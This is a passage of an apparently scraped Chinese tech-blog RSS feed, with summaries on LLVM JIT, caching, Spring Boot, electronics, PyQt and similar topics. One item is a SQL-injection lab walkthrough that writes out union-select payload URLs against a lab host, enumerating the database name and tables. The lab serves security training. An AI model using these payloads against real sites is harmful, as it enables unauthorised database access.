即时类和它的框架代表旧引擎,它是用LLVM生成代码的不同部分实现的.LLVM3.5之后,就要移除它.尽管该引擎大部分是目标无关的,每个目标必须为它的具体指令实现二进制指令输出.&#xA;把数据块写到内存 即时类通过MachineCodeEmitter类的JITCodeEmitter子类,输出二进制指令.MachineCodeEmitter类用来输出机器代码,它和新的机器代码(MachineCode,MC)框架没有关联,尽管旧,它依然存在并支持即时类的功能.&#xA;局限是只支持多个目标,且对支持目标,不支持所有目标特性.&#xA;MachineCodeEmitter类的方法,方便下列任务:&#xA;1,为当前要发射的函数分配空间&#xA;2,写二进制数据块到内存缓冲(emitByte(),emitWordLE(),emitWordBE(),emitAlignment(),等)&#xA;3,追踪当前缓冲地址(就是下一条发射指令位置的指针)&#xA;4,添加与此缓冲内的指令地址相关联的重定向&#xA;由参与发射代码过程JITCodeEmitter类写字节到内存.由JITCodeEmitter的子类,实现相关的即时功能和管理.&#xA;JITCodeEmitter是相当简单的,只是写字节到缓冲,而JITEmitter有下列改进:&#xA;1,特化的管理内存器,JITMemoryManager.&#xA;2,(JITResolver)解决者实例,跟踪和解决未编译函数的调用点.对懒编译函数至关重要.&#xA;使用JITMemoryManager JITMemoryManager类(见&amp;lt;llvm_source&amp;gt;/include/llvm/ExecutionEngine/JITMemoryManager.h)实现了低级内存处理,并为前面提及的类提供缓冲.&#xA;除了来自RTDyldMemoryManager的方法,它提供具体如allocateGlobal()等方法来协助即时类,为单个全局变量分配内存;&#xA;而startFunctionBody(),按读/写可执行标记分配内存时,创建调用即时来发射指令.&#xA;内部,JITMemoryManager类使用JITSlabAllocatorslab分配器(&amp;lt;llvm_source&amp;gt;/lib/ExecutionEngine/即时/JITMemoryManager.cpp)和MemoryBlock单元(&amp;lt;llvm_source&amp;gt;/include/llvm/Support/Memory.h).&#xA;发射目标代码 每个目标都实现一个叫&amp;lt;Target&amp;gt;CodeEmitter(见&amp;lt;llvm_source&amp;gt;/lib/Target/&amp;lt;Target&amp;gt;CodeEmitter.cpp)的机器函数趟,它按数据块编码指令,并用JITCodeEmitter写到内存.&#xA;如,MipsCodeEmitter遍历所有函数基本块,对每个(MI)机器指令,调用emitInstruction():&#xA;(...) MCE.startFunction(MF); for (MachineFunction::iterator MBB = MF.</description>
    </item>
    <item>
      <title>项目应用多级缓存示例</title>
      <link>https://bchobby.github.io/posts/59610b4504579d5a3aecea0037b95235/</link>
      <pubDate>Fri, 22 Dec 2023 18:00:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59610b4504579d5a3aecea0037b95235/</guid>
      <description>前不久做的一个项目，需要在前端实时展示硬件设备的数据。设备很多，并且每个设备的数据也很多，总之就是数据很多。同时，设备的刷新频率很快，需要每2秒读取一遍数据。&#xA;问题来了，我们如何读取数据，并且在前端展示？&#xA;我的想法是利用多级缓存：&#xA;1）首先是有个数据采集程序，不停地采集设备的数据。采集到数据以后，写入redis的1号库；&#xA;2）WEB后端设置一个定时器，每2秒读一次redids的1号库，处理后写入redis的2号库。之所以要处理一下，是因为1号库的数据比较原始，处理后才适合前端处理&#xA;3）前端也设置一个程序，每2秒向后端请求一次数据，后端将redis#2数据返回；前端收到数据后写入前端缓存。我们前端是用vue搞的，所以存入store。&#xA;4）前端由很多个组件构成，每个组件都从store中读取数据，然后展示。&#xA;系统结构如图所示：&#xA;优点：&#xA;1）数据采集程序与WEB前后端解耦，职责单一，除了采集数据，啥都不用管。简单的往往就是最好的，不容易出错&#xA;2）后端定期处理原始数据，将结果缓存，当前端请求时，返回缓存中的该结果，减少重复劳动，提高了性能&#xA;3）前端虽有多个组件，但不是每一个组件都向后端请求，而是统一请求一次，存入前端缓存，然后全部组件都从前端缓存中读取，对性能是一个保障。&#xA;事实证明，这种多级缓存机制下，前端展示数据非常迅速，及时。虽然前端和WEB后端之间没有使用websocket进行数据传输，而是使用了最笨的定期获取，但丝毫没有影响前端的用户体验。</description>
    </item>
    <item>
      <title>Springboot后端数据返回前端时，不返回null的字段</title>
      <link>https://bchobby.github.io/posts/3ea908ae9415890e268f6969de7a05ac/</link>
      <pubDate>Fri, 22 Dec 2023 17:45:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea908ae9415890e268f6969de7a05ac/</guid>
      <description>后端数据返回前端时，不返回null的字段_为null不返回-CSDN博客&#xA;前端调用某接口，返回的是一个 pojo，里面有些字段可能为null。null的字段，就不返回给前端了。 比如返回了User，里面只有一个account有值，其他都为null。那么在返回的时候，只返回account即可。 方式一：application上加配置 只需要在配置文件application上，增加spring.jackson.default-property-inclusion=non_null配置。&#xA;方式二：实体类上加配置 方式1其实有一定的局限性。如果项目里继承了WebMvcConfigurationSupport，那么方式1配置就失效了。&#xA;这种情况下，可以在实体类上加上 @JsonInclude(JsonInclude.Include.NON_NULL) 注解。&#xA;方式三：config全局配置 方式2虽然能达到效果，但是每个实体类上都加注解，实在费劲。&#xA;因此，可以在继承了WebMvcConfigurationSupport的类上，进行全局配置。&#xA;配置如下：&#xA;// JsonInclude全局配置 @JsonInclude(JsonInclude.Include.NON_NULL) @Override public void configureMessageConverters(List&amp;lt;HttpMessageConverter&amp;lt;?&amp;gt;&amp;gt; converters) { Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder() .serializationInclusion(JsonInclude.Include.NON_NULL); converters.add(new MappingJackson2HttpMessageConverter(builder.build())); } 如下图所示&#xA;或者第二种配置方式&#xA;如果使用第二种配置方式还需要加上@EnableWebMvc才能生效。</description>
    </item>
    <item>
      <title>三极管集电结反偏为什么能导通</title>
      <link>https://bchobby.github.io/posts/779a851ec173132b47c24b7cf66f1be6/</link>
      <pubDate>Fri, 22 Dec 2023 16:03:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/779a851ec173132b47c24b7cf66f1be6/</guid>
      <description>在我们学习二极管的时候，脑袋里装了一个概念，就是二极管具有单向导通，反向截止的特性。正是这个概念，当我们刚学习到三极管的放大作用的时候，给了我们当头一棒。三极管处于放大状态的时候，有一个必要条件就是：发射结正偏，集电结反偏。那么，集电结反偏，为何还会产生IC？带着这个疑问，我仔细扒了一下教材和网上的资料，归纳如下（以NPN为例）。&#xA;一是首先我们要搞清楚发射结正偏，集电结反偏的三极管C、B、E三点的电位情况。&#xA;总的来说就是VC&amp;gt;VB&amp;gt;VE，而做到这一点必然要使VCC&amp;gt;VBB，这点从图中也能看出来&#xA;二是分析发射区-发射结-基区（N-PN结-P）&#xA;此时发射结正偏，既从基区-&amp;gt;发射区（P-&amp;gt;N）存在一个电场力，而发射区的多数载流子为自由电子，自由电子受到的电场力为发射区-&amp;gt;基区（N-&amp;gt;P），所以发射结正偏就是为了使自由电子在电场力的作用下产生扩散运动（发射区自由电子为多数载流子），从发射区越过发射结到达基区。&#xA;那问题又来了，发射区的自由电子跑到了基区，发射极岂不是带正电了，或者换种说法，发射极的自由电子总会跑光吧？当然不存在这个问题，我们有外加的电源VBB,VBB的负极与发射区相连，为其源源不断的提供自由电子！&#xA;三是分析基区-集电结-集电区（P-PN结-N）&#xA;上面这个图有点不太合适，毕竟刚才我们已经把发射区的大量自由电子通过VBB的作用搬运到了基区（P），所以我们可以认为基区现在的少数载流子（自由电子）的浓度已经非常高了。&#xA;按照上面发射区-基区的思路，大家可以尝试自己分析一下。&#xA;此时集电结反偏，既从集电区-&amp;gt;基区（N-&amp;gt;P）存在一个电场力，自由电子受电场力的作用产生漂移运动从基区（P）漂移到集电区（N），最后归于VCC的正极。&#xA;至此自由电子的定向移动产生了电流IC。&#xA;最后贴一张教材上的叙述，感兴趣的可以继续琢磨。&#xA;在本篇博客中没有详细阐述ICBO,ICEO,IBN等等电流的产生过程，初学者可以在弄懂大概的情况下，结合教材，仔细思考细节。</description>
    </item>
    <item>
      <title>STM32F072 CAN and USB</title>
      <link>https://bchobby.github.io/posts/dd960b828fd1582457f85c23055ca3cf/</link>
      <pubDate>Fri, 22 Dec 2023 16:00:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd960b828fd1582457f85c23055ca3cf/</guid>
      <description>1 通用描述&#xA;1.1 STM8&#xA;MOSTek 6502 -&amp;gt; ST7 -&amp;gt; STM8&#xA;STM8型号单片机分为STM8A、STM8L、STM8S三个系列。&#xA;STM8A：汽车级应用&#xA;STM8L：超低功耗MCU&#xA;STM8S：标准系列&#xA;1.2 STM32&#xA;- F1系列用的最多，最大工作频率72MHz&#xA;- STM32固件库（函数）使用手册&#xA;STM32F107：2010，DWC2 FS OTG&#xA;STM32MP157C-DK2：MPU&#xA;STM32U5：U means ULP&#xA;1.3 ST开发板种类&#xA;ST官方出的有NUCLEO板、Discovery板以及评估板，配置从低到高，价格也是从低到高。&#xA;NUCLEO：一般只将MCU引脚引出，还有一个串口（通过STLINK USB虚拟），价格也就几十到100RMB左右。&#xA;Discovery板：一般比NUCLEO板多USB（MCU带USB），音频解码，耳机插孔。价格也就100多点。&#xA;评估板：功能是最全的，一般外设都有引出，功能最全，价格最高，几百到1000+RMB。&#xA;1.4 STM32 GPIO Alternate function mapping&#xA;GPIO复用功能要查找的是datasheet。TRM中是详细的寄存器描述，但不包括GPIO复用功能的描述。&#xA;2 开发环境搭建&#xA;2.1 STM32CubeMX_V4.27.0&#xA;www.st.com/stm32cubemx&#xA;STM32CubeMX可以生成Atollic公司的TrueSTUDIO项目文件。&#xA;2.2 IAR8.30.1&#xA;IAR embedded Workbench 8.30&#xA;https://m.baidu.com/ala/c/m.3322.cc/mip/40168.html&#xA;3 CAN&#xA;3.1 CAN分类&#xA;PT CAN：PowerTrain CAN，动力总成&#xA;CH CAN：Chassis CAN，底盘控制CAN总线&#xA;Body CAN：车身控制总线，BMW Body Domain Controller or Basis Central Platform</description>
    </item>
    <item>
      <title>【halcon算子】set_window_param</title>
      <link>https://bchobby.github.io/posts/9225e229bcc0fa5d72ce2bb9d995adc7/</link>
      <pubDate>Fri, 22 Dec 2023 15:11:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9225e229bcc0fa5d72ce2bb9d995adc7/</guid>
      <description> 算子介绍 set_window_param 是 HALCON 的一个操作符，用于设置已打开窗口的不同参数。以下是一些通用的窗口参数：&#xA;‘flush’&#xA;启用或禁用在显示每个对象后刷新窗口内容。如果将 ‘flush’ 设置为 ‘false’，则必须调用 flush_buffer 来更新窗口内容。如果要与图形窗口的内容交互（例如，缩放或移动内容），必须将 ‘flush’ 设置为 ‘true’。可能的值：‘true’，‘false’。默认：‘true’。 ‘region_quality’&#xA;影响区域对象渲染的质量。特别是如果要为可视化而缩小的区域，则 ‘good’ 会产生更准确和令人愉悦的效果。如果只显示区域的边界（参见 set_draw），则忽略线宽（参见 set_line_width）的小数部分。可能的值：‘low’，‘good’。默认：‘low’。 ‘background_color’&#xA;设置窗口的背景颜色，clear_window 操作员使用此颜色清除窗口。可能的值：包含颜色名称的字符串（例如，‘black’，‘red’）。 ‘window_title’&#xA;允许更改已经打开的 HALCON 窗口标题栏中的文本。可能的值：包含最多 1023 个字符的字符串。 ‘anti_aliasing’&#xA;启用或禁用轮廓和区域的抗锯齿。可能的值：‘true’，‘false’。默认：‘true’。 ‘graphics_stack’&#xA;启用或禁用窗口的图形堆栈。启用图形堆栈后，使用 set_part 更改窗口部分会触发以前显示的对象相对于新部分的显示。可能的值：‘true’，‘false’。默认：‘false’。 ‘graphics_stack_max_element_num’&#xA;图形堆栈中的最大元素数。此数字对应于记录的显示操作数。此参数对 HDevelop 图形窗口的图形堆栈无效，并且在下一次调用显示操作员之前无效。可能的值：正数或 ‘unlimited’。默认：50。 ‘graphics_stack_max_memory_size’&#xA;限制图形堆栈的内存消耗。如果超过此限制，将从图形堆栈中删除较旧的显示操作。此参数对 HDevelop 图形窗口的图形堆栈无效，并且在下一次调用显示操作员之前无效。可能的值：字节中的内存限制或 ‘unlimited’。默认：‘unlimited’。 ‘pixel_grid_enable’&#xA;启用或禁用像素网格。如果激活像素网格，那么只要图像部分被放大到足够大（参见 ‘pixel_grid_min_resolution’），就会在显示的像素周围绘制网格。在更新窗口内容时，此参数有效。可能的值：‘true’，‘false’。默认：‘false’。限制：当启用 HDevelop 选项 Pixel Grid 时无效。 ‘pixel_grid_min_resolution’&#xA;指定在图形窗口中为绘制像素网格所需的图像像素的最小分辨率。仅当 ‘pixel_grid_enable’ 已设置为 ‘true’ 时，此参数才有效。如果假设此值设置为 20，则只要显示的图像部分中的像素占用图形窗口中的至少 20 x 20 像素，就会显示像素网格。 例子 set_window_param (CurrentWindowHandle, &#39;flush&#39;, &#39;false&#39;) </description>
    </item>
    <item>
      <title>语音机器人源码-电话机器人源码-智能ai系统-freeswitch-smartivr科大讯飞-阿里云-腾讯云-语音识别</title>
      <link>https://bchobby.github.io/posts/d7fe80afd0044e97756238df2d5db4bc/</link>
      <pubDate>Fri, 22 Dec 2023 15:06:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7fe80afd0044e97756238df2d5db4bc/</guid>
      <description>一、开发引导 调用说明&#xA;调用方式说明：&#xA;第一种方式：主动调用 这种调用方式是客户主动调用接口获取数据或实现功能；&#xA;主动调用需要传入APP_KEY和APP_SECRET用于权限校验；&#xA;注意：请在开发对接程序前联系技术支持进行注册，如果你还未签约，请先签约开通账户。&#xA;第二种方式：方法回调 这种调用方式是当达到预设条件如：任务完成或通话结束时，由系统主动向指定地址发送信息；&#xA;注意：请在开发前自主配置好回调地址。&#xA;机器人API是使用HTTP并遵循REST原则设计的Web服务接口；&#xA;您可以使用几乎任何客户端和任何编程语言与REST API进行交互。&#xA;通过发送简单的HTTP请求就可以轻松接入使用。&#xA;调用方式分为两种：主动调用和方法回调。&#xA;统一请求格式&#xA;URL格式：&#xA;/ai/{resource}/{function}&#xA;说明：&#xA;{resource}为资源名，通常对应一类API&#xA;{function}为该资源提供的操作方法&#xA;请求响应的结果为json格式&#xA;我们目前已经提供的接口，请参考API。&#xA;3、主动接收消息&#xA;1）登录接口，获取令牌&#xA;功能说明：&#xA;通过此接口可以获取到登录Token，后续任何请求只需要发送Token即可完成请求验证。&#xA;更新说明： --&#xA;请求：&#xA;URL：http://{ip}/ai/user/mmlogin&#xA;请求方法：&#xA;POST&#xA;请求参数:&#xA;参数名&#xA;类型&#xA;是否必须&#xA;描述&#xA;实例&#xA;username&#xA;String&#xA;是&#xA;登录帐号&#xA;test&#xA;password&#xA;String&#xA;是&#xA;登录密码&#xA;123456&#xA;响应：&#xA;参数名&#xA;类型&#xA;描述&#xA;errorCode&#xA;Integer&#xA;响应码 0 成功&#xA;Description&#xA;String&#xA;响应描述&#xA;Auth&#xA;String&#xA;成功响应的Token&#xA;data&#xA;Object&#xA;用户对象&#xA;入参JSON实例：&#xA;{</description>
    </item>
    <item>
      <title>rhel7/centos7升级openssh到openssh9.5-p1</title>
      <link>https://bchobby.github.io/posts/e9f8339f81cdef70ee7a48f1eaf0f841/</link>
      <pubDate>Fri, 22 Dec 2023 15:04:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9f8339f81cdef70ee7a48f1eaf0f841/</guid>
      <description>openssh9.3-p2以下版本有如下漏洞&#xA;在rhel7.4/7.5/7.6均做过测试。&#xA;本文需要用到的rpm包如下：&#xA;https://download.csdn.net/download/kadwf123/88652359&#xA;升级步骤&#xA;1、升级前启动telnet&#xA;##升级前启动telnet服务&#xA;yum -y install telnet-server&#xA;yum -y install xinetd&#xA;yum -y install telnet&#xA;systemctl restart telnet.socket&#xA;systemctl restart xinetd&#xA;##注意：默认telnet远程连接不能使用root用户。&#xA;2、升级openssl到1.1.1w&#xA;##升级openssl到1.1.1w&#xA;cd /root/rpmbuild/RPMS/x86_64/&#xA;rpm -ivh openssl-1.1.1w-1.el7.x86_64.rpm openssl-devel-1.1.1w-1.el7.x86_64.rpm --force --nodeps&#xA;[root@cdm421 ~]# rpm -qa | grep openssl&#xA;xmlsec1-openssl-1.2.20-7.el7_4.x86_64&#xA;openssl-1.0.2k-25.el7_9.x86_64&#xA;openssl-devel-1.1.1w-1.el7.x86_64&#xA;openssl098e-0.9.8e-29.el7_2.3.x86_64&#xA;openssl-libs-1.0.2k-25.el7_9.x86_64&#xA;openssl-devel-1.0.2k-25.el7_9.x86_64&#xA;openssl-1.1.1w-1.el7.x86_64&#xA;rpm -e openssl-1.0.2k-25.el7_9.x86_64 openssl-devel-1.0.2k-25.el7_9.x86_64 --nodeps&#xA;[root@cdm421 ~]# rpm -qa | grep openssl&#xA;xmlsec1-openssl-1.2.20-7.el7_4.x86_64&#xA;openssl-devel-1.1.1w-1.el7.x86_64&#xA;openssl098e-0.9.8e-29.el7_2.3.x86_64&#xA;openssl-libs-1.0.2k-25.el7_9.x86_64&#xA;openssl-1.1.1w-1.el7.x86_64&#xA;openssl version</description>
    </item>
    <item>
      <title>sql_lab中sql注入之union联合注入</title>
      <link>https://bchobby.github.io/posts/36273d29ff42f83352ff37b3c7d09ee8/</link>
      <pubDate>Fri, 22 Dec 2023 14:48:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36273d29ff42f83352ff37b3c7d09ee8/</guid>
      <description>1.判断注入类型&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1 http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致，则判断不是数字型&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39;&#39; 有回显&#xA;则判断出是字符型注入，且注入是’注入&#xA;2.判断注入点&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39; and 1=1 --+ 表示and两边结果为真，返回结果正常&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39; and 1=2 --+ 表示一边为真一边为假，没有返回值&#xA;则判断是sql注入&#xA;3.判断字段数量&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39; order by 5 --+ 没有结果&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39; order by 4 --+ 没有结果&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1&#39; order by 3 --+ 有回显结果&#xA;说明该数据库的字段数量是3&#xA;4.用union联合查询，判断回显点&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1&#39; union select 1,2,3 --+&#xA;5.查询使用的是那个数据库&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1&#39; union select 1,database(),3 --+&#xA;6.查询表名&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1&#39; union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=&#34;security&#34; --+&#xA;查询到了security数据库里面的所有表名&#xA;7.查询users表里面的字段名&#xA;http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1&#39; union select 1,database(),group_concat(column_name) from information_schema.</description>
    </item>
    <item>
      <title>【闲读 7】如何发现单一要素、错位竞争、如何提高组合成功率</title>
      <link>https://bchobby.github.io/posts/a0982168541138bd8dc6804d3ef540ec/</link>
      <pubDate>Fri, 22 Dec 2023 14:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0982168541138bd8dc6804d3ef540ec/</guid>
      <description>文章目录 一、单一要素1.1 什么是单一要素1.2、关键步骤1.3、宏观行业上寻找变化 PEST模型 二、错位竞争：看环境，生存维度的全新角度2.1、生态位2.2 分形理论： 三、 如何提高组合成功率四、错位竞争的五个步骤 混沌学院创新课程《如何发现单一要素》《错位竞争：看环境，生存维度的全新角度》、《如何提高组合成功率》 读后笔记。 发现单一要素有三个步骤，首先是要素的拆解，然后是识别10倍速变化，然后赋之聚焦资源的行为。 可以从行业环境和宏观环境两个尺度来分别观察10倍速变化的要素。&#xA;行业环境：（波特五力）购买者的溢价能力，供应商的议价能力，同业竞争者的竞争程度，新进者的威胁，替代品的危险宏观环境：政治、经济、社会、技术 错位竞争： 企业一旦把经济要素组合起来，形成了商业模型，也就形成了自己的价值网。价值网既是企业的生存环境，也是束缚企业的无形之网。市场中的每一个领域几乎都有巨头，与巨头正面竞争的成功率很小，对于新进企业说，竞争的关键是用自己的优势去进攻巨头的劣势，我们把它称之为错位竞争。这也是创新的第一法则：与其更好，不如不同&#xA;如何提升组合成功率？组合的成功法则：破局和差异破局，找到十倍速变化的要素，All in 资源差异，找到与在位巨头差异化的优势和交付价值。&#xA;一、单一要素 1.1 什么是单一要素 单一要素是指与企业相关的关键要素&#xA;当外部关键要素发生十倍速变化，可能会导致战略转折点；&#xA;单一要素最大化：识别外部十倍速变化关键要素，聚焦与之相关的内部关键要素，重度投入资源，击穿阈值。&#xA;1.2、关键步骤 拆解要素识别十倍速变化聚焦资源的行为 1.3、宏观行业上寻找变化 PEST模型 政治、经济、社会、技术&#xA;政治：国内环境和国际环境&#xA;国内环境：政治制度和体制，方针政策，法规与法律&#xA;经济:&#xA;宏观经济：经济发展、经济基础结构、经济政策、城市化程度&#xA;微观经济：收入水平，消费结构，储蓄与信贷&#xA;社会：&#xA;人口：人口规模、年龄结构、人口分布&#xA;文化：文化传统、教育水平、价值观念、宗教信仰&#xA;二、错位竞争：看环境，生存维度的全新角度 创业企业的第一发展是错位竞争 新兴价值网，是创业者最好的机会窗口&#xA;2.1、生态位 原指在生态系统中，每一个物种都拥有自己的角色和地位，不会在同一地方竞争同一生存空间。 应用在商业中即指同质产品或相似服务，在同一市场区域竞争难以同时生存，需要区别自己独特的生存空间。&#xA;任何公司向巨头已经占据的领先定位，正面直接发起挑战，都无望获得成功。&#xA;找到一个能够扬长避短的领域，放大你的优势，同时让你的劣势变得不那么重要。&#xA;创业企业的第一法则是错位竞争。&#xA;2.2 分形理论： 分形指同一事物在不同尺度下具有自相似性。 第一曲线可以看作由更小尺度上许多S曲线组成，当环境发送变化时，第一曲线里某个小S曲线会成长为独立的第二曲线。 三、 如何提高组合成功率 对内：梳理核心能力&#xA;沉淀了哪些核心能力&#xA;对外：错位竞争的策略&#xA;四、错位竞争的五个步骤 Step1: 谁是我们的竞争对手 看环境&#xA;Step2：找机会，竞争对手的价值主张时什么&#xA;Step3: 为此他们做了什么行为&#xA;Step4：给用户带来什么新的麻烦，未能满足用户什么需求&#xA;Step5：我们的核心能力能解决这些麻烦或满足这些需求吗？ 定策略</description>
    </item>
    <item>
      <title>兼容Intel和M系列虚拟机：Parallels Desktop 18 for mac</title>
      <link>https://bchobby.github.io/posts/3a4f3ce05c52645fb025607be1f49fea/</link>
      <pubDate>Fri, 22 Dec 2023 14:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a4f3ce05c52645fb025607be1f49fea/</guid>
      <description>Parallels Desktop 18 for Mac是一款强大的虚拟化软件，它允许用户在Mac上轻松运行多个操作系统，包括Windows、Linux、Android等。它提供了预配置的虚拟机模板，方便用户快速创建虚拟机。&#xA;Parallels Desktop 18针对最新的Apple硬件和即将发布的macOS Ventura版本进行了优化，具有提升性能所需的一切功能。它还改进了基于ARM运行的Windows 11的兼容性，并具有强大的性能和游戏更新，让用户能够不被打断地完成更多工作。&#xA;此外，Parallels Desktop 18还添加了虚拟的PC，就像同时在一台电脑上拥有了两台电脑的使用体验。用户可以在Mac上运行Windows和macOS的应用，而无需重启Mac，两个系统互不影响。这使得用户可以同时享受Mac和Windows的最佳功能。&#xA;总的来说，Parallels Desktop 18 for Mac是一款功能强大、易于使用的虚拟化软件，适用于需要在Mac上运行多个操作系统的用户。&#xA;Parallels Desktop 18</description>
    </item>
    <item>
      <title>【闲读 6】单一要素：抓重点，知道解决问题突破口</title>
      <link>https://bchobby.github.io/posts/3bd8d8ab8baaf93a0c3bc0880cb807fe/</link>
      <pubDate>Fri, 22 Dec 2023 14:20:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bd8d8ab8baaf93a0c3bc0880cb807fe/</guid>
      <description>文章目录 一 、如何识别破局点二、如何击穿破局点2.1 击穿阈值需要大资源，但企业往往资源有限，怎么办？2.2 木桶效应（管理）2.3 最大化模型 混沌学院创新课程《单一要素》，观后感 如果某个单一要素发生十倍速变化，就是这条曲线即将产生破局点的标注。任何破局点都有临界值，只有突破临界值，才能击穿破局点。想要突破临界值，必须把力量集中到一个点。这种方法叫做单一要素最大化，即聚焦第一曲线的某一个核心要素，重度投入资源，把它变成第二曲线的全部。 如何判断破局点？找到单一要素十倍速变化？&#xA;单一要素在创新破局点中的应用&#xA;组合要素的本质是什么？ 依存条件（越少越好）&#xA;最小作用量原理：&#xA;奥卡姆剃刀定律：如无必要，勿增实体，即简单有效原理（简一律，任何理性系统，都运行在一条基本原理之上）&#xA;过了破局点，就能够产生正循环自增长，如果不能过破局点，只是低水平的重复而已；&#xA;一 、如何识别破局点 单一要素十倍速变化 是破局点来临前的信号。&#xA;格鲁夫模型&#xA;竞争的十倍速变化技术的十倍速变化用户的十倍速变化供应商的十倍速变化互补企业的十倍速变化营运规则的十倍速变化 组合式创新的供需模型&#xA;需求：用户需求的十倍速变化供给：技术革新的十倍速变化连接：组合方式的十倍速变化 二、如何击穿破局点 阈值效应：超越阈值，打破原有均衡引起的改变，称之为阈值效应。&#xA;相变临界点: 99% = 0, 101% = 1&#xA;绝大多数人，这样浪费自己的人生，其实没少用力气，但永远不会在一个地方突破阈值，只要不图谱阈值，人生其实就是没有一个新的天地。&#xA;击破阈值之前：遍地是红海（投入产出低）&#xA;急迫阈值之后：一花一世界&#xA;阈值效应之于商业，如同熵增定律之于物理学&#xA;2.1 击穿阈值需要大资源，但企业往往资源有限，怎么办？ step: 最小切口&#xA;step2: 力出一孔&#xA;2.2 木桶效应（管理） 2.3 最大化模型 取胜的系统在最大化单一要素和最小化其他要素上，走到“近乎荒谬的极端”-查理-芒格&#xA;单一要素最大化：聚焦第一曲线的一个核心要素，重度投入资源，把它生长成为第二曲线的全部。</description>
    </item>
    <item>
      <title>【闲读5】如何实现高效拆解</title>
      <link>https://bchobby.github.io/posts/88d86e01ffe98d0f351406694133beed/</link>
      <pubDate>Fri, 22 Dec 2023 14:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88d86e01ffe98d0f351406694133beed/</guid>
      <description>文章目录 如何实现高效拆解一、 拆解原则 MECE原则1.1 二分法1.2 矩阵法3.3 公式法3.4 流程法 混沌学院创新课程课程《如何实现高效拆解》，读后笔记感。 拆解就是通过层层分类找到关键要素。&#xA;拆解的MECE原则： “相互独立，完全穷尽，不相交，不包含”不包含MECE常用的分类法：二分法、矩阵法、公式法、流程法，拆解并非越细越好，拆解的目标是能发现变化的关键要素 如何实现高效拆解 分类是一种梳理出脉络的能力&#xA;是知识发展的前提，也是我们正确认识事物的前提&#xA;- 拆解就是通过层层分类分类，找到关键要素&#xA;一、 拆解原则 MECE原则 Mutually Exclusive, Collectively Exhaustive&#xA;相互独立，完全穷尽，不相交，不包含&#xA;1.1 二分法 把信息分成A和非A&#xA;1.2 矩阵法 按横纵维度交叉，分割为2*2个矩阵&#xA;纵轴维度A&#xA;横轴维度B，&#xA;重要紧急矩阵&#xA;安索夫矩阵&#xA;3.3 公式法 按照公式设计的要素去分类，只要公式成立，那这样的分类就符合MECE原则&#xA;产品总收入 = 单价 * 产品出售数量&#xA;3.4 流程法 按照事物发展的时间，流程、程序来对信息进行逐一的分类&#xA;5A客户行为路径 初识 Attention - 了解 Awareness - 询问 Ask - 亲临 Action - 力荐 After action&#xA;质量管理循环 PDCA 计划 Plan 执行 Do 检查 Check 就在 Action</description>
    </item>
    <item>
      <title>【PyQt学习篇 · ⑭】：QTableView的使用</title>
      <link>https://bchobby.github.io/posts/293749b0ec6e9ecbc610ed6a2a7f2b8e/</link>
      <pubDate>Fri, 22 Dec 2023 12:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/293749b0ec6e9ecbc610ed6a2a7f2b8e/</guid>
      <description>文章目录 QTableView的使用示例 QTableView的使用 QTableView 是 PyQt 中用于显示表格数据的窗口部件，它提供了一个灵活的方式来显示和编辑数据。下面是一些关于 QTableView 的使用的具体信息：&#xA;创建 QTableView 对象：&#xA;from PyQt5.QtWidgets import QApplication, QTableView app = QApplication([]) # 创建应用程序对象 tableView = QTableView() # 创建 QTableView 对象 设置数据模型：&#xA;QTableView 依赖于数据模型来提供数据。常用的数据模型有 QStandardItemModel 和 QAbstractTableModel。可以根据数据的不同复杂性来选择合适的数据模型。&#xA;from PyQt5.QtGui import QStandardItemModel # 创建数据模型 model = QStandardItemModel() # 设置表头 model.setHorizontalHeaderLabels([&#34;Column 1&#34;, &#34;Column 2&#34;]) # 设置数据 data = [ [&#34;Row 1, Column 1&#34;, &#34;Row 1, Column 2&#34;], [&#34;Row 2, Column 1&#34;, &#34;Row 2, Column 2&#34;</description>
    </item>
    <item>
      <title>大数据毕业设计：天气气象数据采集分析可视化大屏 爬虫&#43;大数据&#43;源码&#43;论文✅</title>
      <link>https://bchobby.github.io/posts/058859651d17a21eecdc47a269094f89/</link>
      <pubDate>Fri, 22 Dec 2023 12:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/058859651d17a21eecdc47a269094f89/</guid>
